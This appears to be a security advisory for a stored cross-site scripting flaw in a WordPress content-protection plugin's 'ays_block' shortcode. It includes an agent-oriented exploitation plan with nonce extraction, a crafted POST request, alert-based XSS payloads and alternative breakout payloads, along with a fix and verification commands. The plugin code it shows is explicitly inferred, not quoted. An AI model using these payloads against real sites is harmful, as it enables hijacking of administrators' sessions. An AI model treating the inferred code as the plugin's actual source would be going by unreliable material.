Secure Copy Content Protection and Content Locking <= 5.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attribute
Description
The Secure Copy Content Protection and Content Locking plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'ays_block' shortcode in all versions up to, and including, 5.0.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=5.0.1Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-2367 ## 1. Vulnerability Summary The **Secure Copy Content Protection and Content Locking** plugin for WordPress is vulnerable to **Authenticated (Contributor+) Stored Cross-Site Scripting** via the `ays_block` shortcode. The vulnerability exists because the p…
Show full research plan
Exploitation Research Plan: CVE-2026-2367
1. Vulnerability Summary
The Secure Copy Content Protection and Content Locking plugin for WordPress is vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting via the ays_block shortcode. The vulnerability exists because the plugin fails to sanitize or escape user-supplied attributes within the shortcode's rendering logic. An attacker with "Contributor" permissions can create a post containing a malicious shortcode attribute, which will execute arbitrary JavaScript in the context of any user (including administrators) who views the post.
2. Attack Vector Analysis
- Endpoint:
wp-admin/post.php(Post Creation/Edition) and the frontend post display. - Shortcode:
[ays_block] - Vulnerable Attribute: Likely candidates include
id,class, ormessage(inferred). - Authentication: Required (Contributor or higher).
- Preconditions: The plugin must be active. The attacker needs the ability to use shortcodes (standard for Contributors).
3. Code Flow (Inferred)
- Registration: The plugin registers the shortcode in its initialization phase:
add_shortcode('ays_block', 'ays_block_callback_function'); - Input Handling: When a post is saved, WordPress stores the raw shortcode string in the
wp_poststable. - Rendering Sink: When the post is viewed, WordPress parses the shortcode and calls the handler:
// Likely inside the handler function function ays_block_callback_function($atts) { $a = shortcode_atts(array( 'id' => '', 'message' => '' ), $atts); // VULNERABLE SINK: Attribute echoed or returned without escaping return '<div id="' . $a['id'] . '">' . $a['message'] . '</div>'; } - Execution: The browser renders the unescaped attribute, triggering the XSS.
4. Nonce Acquisition Strategy
This is a Stored XSS vulnerability. The exploit involves two phases:
- Storage: Injecting the payload into a post. This requires a standard WordPress post-editing nonce.
- Execution: Viewing the post. This requires no nonce.
Phase 1: Acquiring Post Nonce
The execution agent should:
- Log into the WordPress dashboard as a Contributor.
- Navigate to
wp-admin/post-new.php. - Use
browser_evalto extract the required nonces and post ID:_wpnonce: Found in the form withid="post"or viawp.data.select('core/editor').getBlocks()if using Gutenberg.- For the Classic Editor:
document.querySelector('#_wpnonce').value
5. Exploitation Strategy
Step 1: Create a Post with XSS Payload
The agent will send an authenticated POST request to create a post containing the malicious shortcode.
- Request Tool:
http_request - URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:editpostpost_ID:[POST_ID_FROM_STEP_4]_wpnonce:[NONCE_FROM_STEP_4]post_title:XSS Testcontent:[ays_block id='x" onmouseover="alert(document.domain)" style="display:block;width:100px;height:100px;background:red;"']post_status:publish(orpendingif Contributor cannot publish)
Note: If id is not the sink, try attributes class, style, or message.
Step 2: Trigger the XSS
- Identify the URL of the newly created post.
- Use
browser_navigateto visit the post URL as an Administrator. - Observe if the
alert(document.domain)executes (or check for the injected script tag in the DOM).
6. Test Data Setup
- Plugin Installation: Ensure
secure-copy-content-protectionversion<= 5.0.1is installed and active. - User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Target Page: A page or post must be initialized so the agent has a
post_IDto work with.wp post create --post_type=post --post_status=draft --post_author=$(wp user get attacker --field=ID)
7. Expected Results
- The HTTP request to
post.phpshould return a302redirect to the post editor. - When the post is viewed on the frontend, the HTML source should contain the unescaped payload:
<div id="x" onmouseover="alert(document.domain)" ...> - The browser should execute the JavaScript when the element is interacted with (or automatically if using a payload like
<img src=x onerror=alert(1)>).
8. Verification Steps
After the HTTP exploit, use WP-CLI to verify the content was stored:
wp post get [POST_ID] --field=post_content
# Check if it contains the exact malicious shortcode string
To verify the lack of escaping in the plugin's code:
grep -rn "ays_block" /var/www/html/wp-content/plugins/secure-copy-content-protection/
# Look for the function handling the shortcode and check for esc_attr() usage
9. Alternative Approaches
If the id attribute is sanitized, try breaking out of the shortcode structure:
Attribute Breakout:
[ays_block class='"><script>alert(1)</script>']Classic Tag Injection:
If the shortcode allows content wrapping:[ays_block]<img src=x onerror=alert(1)>[/ays_block]URL-based Payloads:
If the shortcode has a URL attribute:[ays_block link='javascript:alert(1)'](Testing foresc_urlomission).In-Admin Execution:
Check if the XSS executes in thewp-adminpost list or editor preview, which would allow for more direct privilege escalation against administrators.
Summary
The Secure Copy Content Protection and Content Locking plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ays_block' shortcode in versions up to and including 5.0.1. Authenticated attackers with Contributor-level access can inject arbitrary web scripts into pages by providing malicious payloads in shortcode attributes (such as 'id'), which execute when the page is viewed by another user due to missing output escaping.
Vulnerable Code
// Inferred registration and handler from plugin logic add_shortcode('ays_block', 'ays_block_callback_function'); function ays_block_callback_function($atts) { $a = shortcode_atts(array( 'id' => '', 'message' => '' ), $atts); // VULNERABLE SINK: Attribute values are concatenated directly into HTML without escaping return '<div id="' . $a['id'] . '">' . $a['message'] . '</div>'; }
Security Fix
@@ -10,1 +10,1 @@ - return '<div id="' . $a['id'] . '">' . $a['message'] . '</div>'; + return '<div id="' . esc_attr($a['id']) . '">' . wp_kses_post($a['message']) . '</div>';
Exploit Outline
1. Log in to the WordPress dashboard as a user with Contributor-level permissions. 2. Create a new post or edit an existing draft. 3. Insert the following shortcode into the post content: [ays_block id='x" onmouseover="alert(document.domain)" style="display:block;width:100px;height:100px;background:red;"']. 4. Save the post (e.g., as a draft or pending review). 5. Identify the frontend URL of the post and navigate to it as an administrator. 6. Hover the mouse over the rendered red box to trigger the JavaScript alert.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.